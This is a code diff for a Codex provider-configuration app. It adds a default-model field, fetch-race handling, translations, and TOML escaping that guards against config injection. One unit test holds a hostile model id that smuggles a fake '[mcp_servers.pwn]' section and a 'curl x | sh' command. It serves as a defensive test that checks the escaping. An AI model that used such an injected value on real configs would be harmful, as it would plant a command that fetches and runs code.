diff --git a/src/components/providers/forms/CodexFormFields.tsx b/src/components/providers/forms/CodexFormFields.tsx index 08184829b..8cea0d88a 100644 --- a/src/components/providers/forms/CodexFormFields.tsx +++ b/src/components/providers/forms/CodexFormFields.tsx @@ -1,4 +1,4 @@ -import { useCallback, useEffect, useRef, useState } from "react"; +import { useCallback, useEffect, useMemo, useRef, useState } from "react"; import { useTranslation } from "react-i18next"; import { Button } from "@/components/ui/button"; import { FormLabel } from "@/components/ui/form"; @@ -70,6 +70,10 @@ interface CodexFormFieldsProps { autoSelect: boolean; onAutoSelectChange: (checked: boolean) => void; + // Default model (config.toml top-level `model`) + codexModel?: string; + onModelChange?: (model: string) => void; + // API Format // Note: wire_api is always "responses" for Codex; apiFormat controls proxy-layer conversion apiFormat: CodexApiFormat; @@ -166,6 +170,8 @@ export function CodexFormFields({ onCustomEndpointsChange, autoSelect, onAutoSelectChange, + codexModel = "", + onModelChange, apiFormat, onApiFormatChange, anthropicAuthField, @@ -190,6 +196,15 @@ export function CodexFormFields({ const [fetchedModels, setFetchedModels] = useState([]); const [isFetchingModels, setIsFetchingModels] = useState(false); + // 拉取请求序号:请求身份(Base URL / 完整地址开关 / API Key / 自定义 UA) + // 一变即自增,清空旧列表并作废在途响应——/models 结果可能按 Key 的模型 + // 授权返回,换号后残留旧列表会误导选择 + const fetchModelsSeqRef = useRef(0); + + useEffect(() => { + fetchModelsSeqRef.current += 1; + setFetchedModels((prev) => (prev.length === 0 ? prev : [])); + }, [codexBaseUrl, isFullUrl, codexApiKey, customUserAgent]); // 思考能力随 Chat 格式显示(仅 Chat Completions 转换路径用得上);模型映射常驻 //(填了才生成 catalog)。两者都已与「路由接管」概念解耦。 const isChatFormat = apiFormat === "openai_chat"; @@ -290,6 +305,7 @@ export function CodexFormFields({ }); return; } + const seq = ++fetchModelsSeqRef.current; setIsFetchingModels(true); fetchModelsForConfig( codexBaseUrl, @@ -299,6 +315,7 @@ export function CodexFormFields({ customUserAgent, ) .then((models) => { + if (seq !== fetchModelsSeqRef.current) return; setFetchedModels(models); if (models.length === 0) { toast.info(t("providerForm.fetchModelsEmpty")); @@ -309,6 +326,7 @@ export function CodexFormFields({ } }) .catch((err) => { + if (seq !== fetchModelsSeqRef.current) return; console.warn("[ModelFetch] Failed:", err); showFetchModelsError(err, t); }) @@ -333,6 +351,47 @@ export function CodexFormFields({ setCatalogRows((current) => current.filter((_, i) => i !== index)); }, []); + // 默认模型下拉建议 = 模型映射的"实际请求模型"列 ∪ 拉取到的 /models 列表 + const defaultModelSuggestions = useMemo(() => { + const seen = new Set(); + const suggestions: FetchedModel[] = []; + for (const row of catalogRows) { + const id = row.model.trim(); + if (!id || seen.has(id)) continue; + seen.add(id); + suggestions.push({ + id, + ownedBy: t("codexConfig.modelMappingTitle", { + defaultValue: "模型映射", + }), + }); + } + for (const model of fetchedModels) { + if (seen.has(model.id)) continue; + seen.add(model.id); + suggestions.push(model); + } + return suggestions; + }, [catalogRows, fetchedModels, t]); + + // 填了映射时才提示"默认模型不在映射中"(无映射的供应商本来就直接请求任意模型名) + const trimmedDefaultModel = codexModel.trim(); + const isDefaultModelOutsideCatalog = + catalogRows.length > 0 && + !!trimmedDefaultModel && + !catalogRows.some((row) => row.model.trim() === trimmedDefaultModel); + + const handleAddDefaultModelToCatalog = useCallback(() => { + if (!onCatalogModelsChange || !trimmedDefaultModel) return; + setCatalogRows((current) => [ + ...current, + createCatalogRow({ + model: trimmedDefaultModel, + displayName: trimmedDefaultModel, + }), + ]); + }, [onCatalogModelsChange, trimmedDefaultModel]); + const renderCatalogActionButtons = (onAdd: () => void, addLabel: string) => (
+ {defaultModelSuggestions.length > 0 && ( + onModelChange(id)} + /> + )} +
+

+ {t("codexConfig.defaultModelHint", { + defaultValue: + "Codex 默认请求的模型,随时可改,无需等待预设更新。留空且配置了模型映射时,默认使用映射第一行。", + })} +

+ {isDefaultModelOutsideCatalog && ( +

+ {t("codexConfig.defaultModelNotInCatalog", { + defaultValue: + "该模型不在模型映射中,Codex 的 /model 菜单不会列出它(直接请求仍然有效)。", + })} + +

+ )} + + )} + {/* 高级选项 —— 上游格式/模型映射/思考能力/自定义 UA;预设供应商通常无需展开 */} {category !== "official" && ( 0) { + // The default-model field writes the top-level `model` into the TOML + // as the user types; only when it was left empty fall back to the + // first catalog row so "fill mapping only" keeps its old behavior. + if ( + normalizedCatalogModels.length > 0 && + !extractCodexModelName(normalizedCodexConfig) + ) { normalizedCodexConfig = setCodexModelNameInConfig( normalizedCodexConfig, normalizedCatalogModels[0].model, @@ -2168,6 +2176,8 @@ function ProviderFormFull({ } autoSelect={endpointAutoSelect} onAutoSelectChange={setEndpointAutoSelect} + codexModel={codexModel} + onModelChange={handleCodexModelChange} apiFormat={localCodexApiFormat} onApiFormatChange={handleCodexApiFormatChange} anthropicAuthField={localCodexAnthropicAuthField} diff --git a/src/components/providers/forms/hooks/useCodexConfigState.ts b/src/components/providers/forms/hooks/useCodexConfigState.ts index f38dc282b..232dc5049 100644 --- a/src/components/providers/forms/hooks/useCodexConfigState.ts +++ b/src/components/providers/forms/hooks/useCodexConfigState.ts @@ -2,7 +2,9 @@ import { useState, useCallback, useEffect, useRef } from "react"; import { extractCodexBaseUrl, extractCodexExperimentalBearerToken, + extractCodexModelName, setCodexBaseUrl as setCodexBaseUrlInConfig, + setCodexModelName as setCodexModelNameInConfig, updateCodexExperimentalBearerToken, } from "@/utils/providerConfigUtils"; import { normalizeTomlText } from "@/utils/textNormalization"; @@ -36,12 +38,14 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { const [codexConfig, setCodexConfigState] = useState(""); const [codexApiKey, setCodexApiKey] = useState(""); const [codexBaseUrl, setCodexBaseUrl] = useState(""); + const [codexModel, setCodexModel] = useState(""); const [codexCatalogModels, setCodexCatalogModels] = useState< CodexCatalogModel[] >([]); const [codexAuthError, setCodexAuthError] = useState(""); const isUpdatingCodexBaseUrlRef = useRef(false); + const isUpdatingCodexModelRef = useRef(false); // 初始化 Codex 配置(编辑模式) useEffect(() => { @@ -133,6 +137,15 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { setCodexBaseUrl((prev) => (prev === extracted ? prev : extracted)); }, [codexConfig]); + // 与 TOML 配置保持默认模型同步(顶层 model 键) + useEffect(() => { + if (isUpdatingCodexModelRef.current) { + return; + } + const extracted = extractCodexModelName(codexConfig) || ""; + setCodexModel((prev) => (prev === extracted ? prev : extracted)); + }, [codexConfig]); + // 获取 API Key(从 auth JSON) const getCodexAuthApiKey = useCallback((authString: string): string => { try { @@ -226,6 +239,22 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { [setCodexConfig], ); + // 处理默认模型变化(写回 TOML 顶层 model;清空则删掉该行,交回 Codex 内置默认) + // 剥控制字符:值可能来自 /models 下拉(远端数据),换行等会破坏单行 TOML 语义 + const handleCodexModelChange = useCallback( + (model: string) => { + const sanitized = model.replace(/[\u0000-\u001f\u007f]/g, "").trim(); + setCodexModel(sanitized); + + isUpdatingCodexModelRef.current = true; + setCodexConfig((prev) => setCodexModelNameInConfig(prev, sanitized)); + setTimeout(() => { + isUpdatingCodexModelRef.current = false; + }, 0); + }, + [setCodexConfig], + ); + // 处理 config 变化(同步 Base URL) const handleCodexConfigChange = useCallback( (value: string) => { @@ -268,6 +297,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { codexConfig, codexApiKey, codexBaseUrl, + codexModel, codexCatalogModels, codexAuthError, setCodexAuth, @@ -275,6 +305,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { setCodexCatalogModels, handleCodexApiKeyChange, handleCodexBaseUrlChange, + handleCodexModelChange, handleCodexConfigChange, resetCodexConfig, getCodexAuthApiKey, diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 313f5a93e..82d153475 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1307,6 +1307,11 @@ "autoCompactLimitHint": "Auto-compacts history when context reaches this token limit", "modelMetadataAdvanced": "Model Metadata Advanced Options", "modelMetadataAdvancedHint": "Overrides Codex metadata for unknown models; clearing a field removes the matching config.toml entry.", + "defaultModelLabel": "Default Model", + "defaultModelPlaceholder": "e.g. gpt-5.6", + "defaultModelHint": "The model Codex requests by default; change it anytime without waiting for a preset update. If left empty while model mapping is configured, the first mapping row is used.", + "defaultModelNotInCatalog": "This model is not in the model mapping, so the Codex /model menu won't list it (direct requests still work).", + "addToModelMapping": "Add to mapping", "modelMappingTitle": "Model Mapping", "modelMappingHint": "Generates Codex model_catalog_json so /model can show these third-party model names; entries are saved exactly as listed. Codex must be restarted to refresh the model list after changes.", "addCatalogModel": "Add Model", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 4353b5bf1..9c5625015 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1307,6 +1307,11 @@ "autoCompactLimitHint": "コンテキストトークン数がこのしきい値に達すると履歴を自動圧縮", "modelMetadataAdvanced": "モデルメタデータ詳細オプション", "modelMetadataAdvancedHint": "未知のモデル向けに Codex メタデータを上書きします。空にすると対応する config.toml 設定を削除します。", + "defaultModelLabel": "デフォルトモデル", + "defaultModelPlaceholder": "例: gpt-5.6", + "defaultModelHint": "Codex がデフォルトでリクエストするモデルです。プリセットの更新を待たずにいつでも変更できます。空欄のままモデルマッピングを設定している場合は、マッピングの先頭行が使われます。", + "defaultModelNotInCatalog": "このモデルはモデルマッピングにないため、Codex の /model メニューには表示されません(直接リクエストは有効です)。", + "addToModelMapping": "マッピングに追加", "modelMappingTitle": "モデルマッピング", "modelMappingHint": "Codex model_catalog_json を生成し、/model コマンドでこれらの第三者モデル名を表示できるようにします。リストの内容はそのまま保存されます。変更後、モデルリストを更新するには Codex の再起動が必要です。", "addCatalogModel": "モデルを追加", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index fb3821a4e..7a90cedee 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1273,6 +1273,11 @@ "maxOutputTokensLabel": "最大輸出 tokens", "maxOutputTokensPlaceholder": "留空則使用預設 8192", "maxOutputTokensHint": "Codex 不會把 model_max_output_tokens 寫進請求體,預設上限 8192 容易在長回答或深度思考時被截斷(stop_reason=max_tokens)。此處設定會作為 Anthropic 的 max_tokens 覆蓋請求值。請勿超過該模型/閘道的真實輸出上限,否則可能 400。留空使用預設 8192。", + "defaultModelLabel": "預設模型", + "defaultModelPlaceholder": "例如: gpt-5.6", + "defaultModelHint": "Codex 預設請求的模型,隨時可改,無需等待軟體更新供應商範本。留空且設定了模型映射時,預設使用映射第一行。", + "defaultModelNotInCatalog": "該模型不在模型映射中,Codex 的 /model 選單不會列出它(直接請求仍然有效)。", + "addToModelMapping": "加入映射", "modelMappingTitle": "模型映射", "modelMappingHint": "產生 Codex model_catalog_json,讓 /model 指令顯示這些第三方模型名;表中條目按填寫內容原樣儲存。修改後需要重新啟動 Codex 才能重新整理模型清單。", "addCatalogModel": "新增模型", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index c6cc6dc7f..285f0fdf7 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1307,6 +1307,11 @@ "autoCompactLimitHint": "上下文 token 数达到此阈值时自动压缩历史", "modelMetadataAdvanced": "模型元数据高级选项", "modelMetadataAdvancedHint": "用于未知模型的 Codex 元数据覆盖;清空字段会从 config.toml 删除对应配置。", + "defaultModelLabel": "默认模型", + "defaultModelPlaceholder": "例如: gpt-5.6", + "defaultModelHint": "Codex 默认请求的模型,随时可改,无需等待预设更新。留空且配置了模型映射时,默认使用映射第一行。", + "defaultModelNotInCatalog": "该模型不在模型映射中,Codex 的 /model 菜单不会列出它(直接请求仍然有效)。", + "addToModelMapping": "加入映射", "modelMappingTitle": "模型映射", "modelMappingHint": "生成 Codex model_catalog_json,让 /model 命令显示这些第三方模型名;表中条目按填写内容原样保存。修改后需要重启 Codex 才能刷新模型列表。", "addCatalogModel": "添加模型", diff --git a/src/utils/providerConfigUtils.test.ts b/src/utils/providerConfigUtils.test.ts index 7171f5d33..8ace84076 100644 --- a/src/utils/providerConfigUtils.test.ts +++ b/src/utils/providerConfigUtils.test.ts @@ -2,7 +2,9 @@ import { describe, expect, it } from "vitest"; import { codexApiFormatFromWireApi, isCodexAnthropicWireApi, + extractCodexModelName, isCodexRemoteCompactionEnabled, + setCodexModelName, setCodexRemoteCompaction, } from "./providerConfigUtils"; @@ -76,3 +78,98 @@ model = "gpt-5" expect(isCodexRemoteCompactionEnabled(input)).toBe(false); }); }); + +describe("Codex model name config helpers", () => { + const input = `# user comment +model_provider = "custom" +model = "gpt-5.5" +model_reasoning_effort = "high" + +[model_providers.custom] +name = "Example" +base_url = "https://example.com/v1" +`; + + it("extracts the top-level model", () => { + expect(extractCodexModelName(input)).toBe("gpt-5.5"); + }); + + it("ignores model keys inside sections", () => { + const sectionOnly = `[profiles.fast] +model = "gpt-5.5-mini" +`; + expect(extractCodexModelName(sectionOnly)).toBeUndefined(); + }); + + it("updates the model in place preserving comments", () => { + const result = setCodexModelName(input, "gpt-5.6"); + expect(extractCodexModelName(result)).toBe("gpt-5.6"); + expect(result).toContain("# user comment"); + expect(result).toContain(`model_reasoning_effort = "high"`); + expect(result).not.toContain("gpt-5.5"); + }); + + it("inserts a model line when absent", () => { + const withoutModel = `model_provider = "custom" + +[model_providers.custom] +name = "Example" +`; + const result = setCodexModelName(withoutModel, "gpt-5.6"); + expect(extractCodexModelName(result)).toBe("gpt-5.6"); + }); + + it("removes the top-level model line when cleared", () => { + const result = setCodexModelName(input, ""); + expect(extractCodexModelName(result)).toBeUndefined(); + expect(result).toContain(`model_provider = "custom"`); + }); + + it("escapes hostile model ids instead of injecting TOML lines", () => { + // /models 下拉的 id 来自远端响应;换行注入若不转义会成为独立 TOML 行 + const hostile = 'evil"\n[mcp_servers.pwn]\ncommand = "curl x | sh'; + const result = setCodexModelName(input, hostile); + + expect(result).not.toMatch(/^\[mcp_servers\.pwn\]$/m); + expect(result).not.toMatch(/^command = /m); + expect(result).toContain( + 'model = "evil\\"\\n[mcp_servers.pwn]\\ncommand = \\"curl x | sh"', + ); + expect( + result.split("\n").filter((line) => line.startsWith("model = ")), + ).toHaveLength(1); + }); + + it("escapes backslashes in model names", () => { + const result = setCodexModelName(input, "vendor\\model"); + expect(result).toContain('model = "vendor\\\\model"'); + }); + + it("round-trips names containing quotes and backslashes", () => { + const name = 'a"b\\c'; + const written = setCodexModelName(input, name); + expect(extractCodexModelName(written)).toBe(name); + }); + + it("replaces an escaped existing model line instead of duplicating it", () => { + const written = setCodexModelName(input, 'evil"name'); + const result = setCodexModelName(written, "gpt-5.6"); + expect( + result.split("\n").filter((line) => line.startsWith("model = ")), + ).toHaveLength(1); + expect(extractCodexModelName(result)).toBe("gpt-5.6"); + }); + + it("replaces empty-string and single-quoted model lines", () => { + const emptyModel = `model_provider = "custom"\nmodel = ""\n`; + expect(extractCodexModelName(emptyModel)).toBe(""); + const replaced = setCodexModelName(emptyModel, "gpt-5.6"); + expect( + replaced.split("\n").filter((line) => line.startsWith("model = ")), + ).toHaveLength(1); + expect(extractCodexModelName(replaced)).toBe("gpt-5.6"); + + const singleQuoted = `model = 'kimi-k2.7'\n`; + expect(extractCodexModelName(singleQuoted)).toBe("kimi-k2.7"); + }); +}); diff --git a/src/utils/providerConfigUtils.ts b/src/utils/providerConfigUtils.ts index b671a8ce8..3350e9a74 100644 --- a/src/utils/providerConfigUtils.ts +++ b/src/utils/providerConfigUtils.ts @@ -375,7 +375,14 @@ const TOML_EXPERIMENTAL_BEARER_TOKEN_PATTERN = /^\s*experimental_bearer_token\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/; const TOML_EXPERIMENTAL_BEARER_TOKEN_REPLACE_PATTERN = /^(\s*experimental_bearer_token\s*=\s*)(?:"(?:\\.|[^"\\\r\n])*"|'[^'\r\n]*')(\s*(?:#.*)?)$/; -const TOML_MODEL_PATTERN = /^\s*model\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/; +// 双引号基本字符串(支持 \" \\ 等转义序列,识别 setCodexModelName 自己的 +// 转义输出),提取后需反转义。刻意只做整行严格匹配、不做键名宽匹配—— +// 宽匹配会误伤多行字符串里长得像赋值的文本;认不出的怪值由用户负责。 +const TOML_MODEL_DOUBLE_QUOTED_PATTERN = + /^\s*model\s*=\s*"((?:[^"\\\r\n]|\\.)*)"\s*(?:#.*)?$/; +// 单引号字面字符串(TOML 语义:无转义) +const TOML_MODEL_SINGLE_QUOTED_PATTERN = + /^\s*model\s*=\s*'([^'\r\n]*)'\s*(?:#.*)?$/; const TOML_WIRE_API_PATTERN = /^\s*wire_api\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/; const TOML_MODEL_PROVIDER_LINE_PATTERN = @@ -669,6 +676,26 @@ const escapeTomlBasicString = (value: string): string => const tomlBasicString = (value: string): string => `"${escapeTomlBasicString(value)}"`; +const TOML_BASIC_STRING_UNESCAPES: Record = { + '"': '"', + "\\": "\\", + b: "\b", + t: "\t", + n: "\n", + f: "\f", + r: "\r", +}; + +// escapeTomlBasicString 的逆运算;未知转义序列原样保留 +const unescapeTomlBasicString = (value: string): string => + value.replace( + /\\(?:u([0-9a-fA-F]{4})|U([0-9a-fA-F]{8})|(.))/g, + (match, u4, u8, ch) => { + if (u4 || u8) return String.fromCodePoint(parseInt(u4 || u8, 16)); + return TOML_BASIC_STRING_UNESCAPES[ch] ?? match; + }, + ); + const CODEX_CHAT_WIRE_API_VALUES = new Set([ "chat", "chat_completions", @@ -1273,7 +1300,7 @@ export const setCodexBaseUrl = ( } const normalizedUrl = trimmed.replace(/\s+/g, ""); - const replacementLine = `base_url = "${normalizedUrl}"`; + const replacementLine = `base_url = ${tomlBasicString(normalizedUrl)}`; if (targetSectionName) { let targetSectionRange = getTomlSectionRange(lines, targetSectionName); @@ -1347,7 +1374,24 @@ export const setCodexBaseUrl = ( // ========== Codex model name utils ========== -// 从 Codex 的 TOML 配置文本中提取 model 字段(支持单/双引号) +// 顶层范围内第一个能被严格模式识别的 model 行;-1 表示没有 +const findTopLevelModelLineIndex = ( + lines: string[], + topLevelEndIndex: number, +): number => { + for (let i = 0; i < topLevelEndIndex; i += 1) { + if ( + TOML_MODEL_DOUBLE_QUOTED_PATTERN.test(lines[i]) || + TOML_MODEL_SINGLE_QUOTED_PATTERN.test(lines[i]) + ) { + return i; + } + } + return -1; +}; + +// 从 Codex 的 TOML 配置文本中提取 model 字段(支持单/双引号; +// 双引号串按 TOML 基本字符串反转义,保证与 setCodexModelName round-trip) export const extractCodexModelName = ( configText: string | undefined | null, ): string | undefined => { @@ -1356,13 +1400,14 @@ export const extractCodexModelName = ( const text = normalizeTomlText(raw); if (!text) return undefined; const lines = text.split("\n"); - const topLevelMatch = findTomlAssignmentInRange( - lines, - TOML_MODEL_PATTERN, - 0, - getTopLevelEndIndex(lines), - ); - return topLevelMatch?.value; + const topLevelEndIndex = getTopLevelEndIndex(lines); + for (let i = 0; i < topLevelEndIndex; i += 1) { + const doubleQuoted = lines[i].match(TOML_MODEL_DOUBLE_QUOTED_PATTERN); + if (doubleQuoted) return unescapeTomlBasicString(doubleQuoted[1]); + const singleQuoted = lines[i].match(TOML_MODEL_SINGLE_QUOTED_PATTERN); + if (singleQuoted) return singleQuoted[1]; + } + return undefined; } catch { return undefined; } @@ -1377,24 +1422,21 @@ export const setCodexModelName = ( const normalizedText = normalizeTomlText(configText); const lines = normalizedText ? normalizedText.split("\n") : []; const topLevelEndIndex = getTopLevelEndIndex(lines); - const topLevelMatch = findTomlAssignmentInRange( - lines, - TOML_MODEL_PATTERN, - 0, - topLevelEndIndex, - ); + const modelLineIndex = findTopLevelModelLineIndex(lines, topLevelEndIndex); if (!trimmed) { if (!normalizedText) return normalizedText; - if (topLevelMatch) { - lines.splice(topLevelMatch.index, 1); + if (modelLineIndex !== -1) { + lines.splice(modelLineIndex, 1); } return finalizeTomlText(lines); } - const replacementLine = `model = "${trimmed}"`; - if (topLevelMatch) { - lines[topLevelMatch.index] = replacementLine; + // 模型名可能来自远端 /models 响应(下拉选择),必须转义——裸插值会让 + // 含引号/控制字符的 id 破坏甚至注入 config.toml(如伪造 [mcp_servers.*]) + const replacementLine = `model = ${tomlBasicString(trimmed)}`; + if (modelLineIndex !== -1) { + lines[modelLineIndex] = replacementLine; return finalizeTomlText(lines); }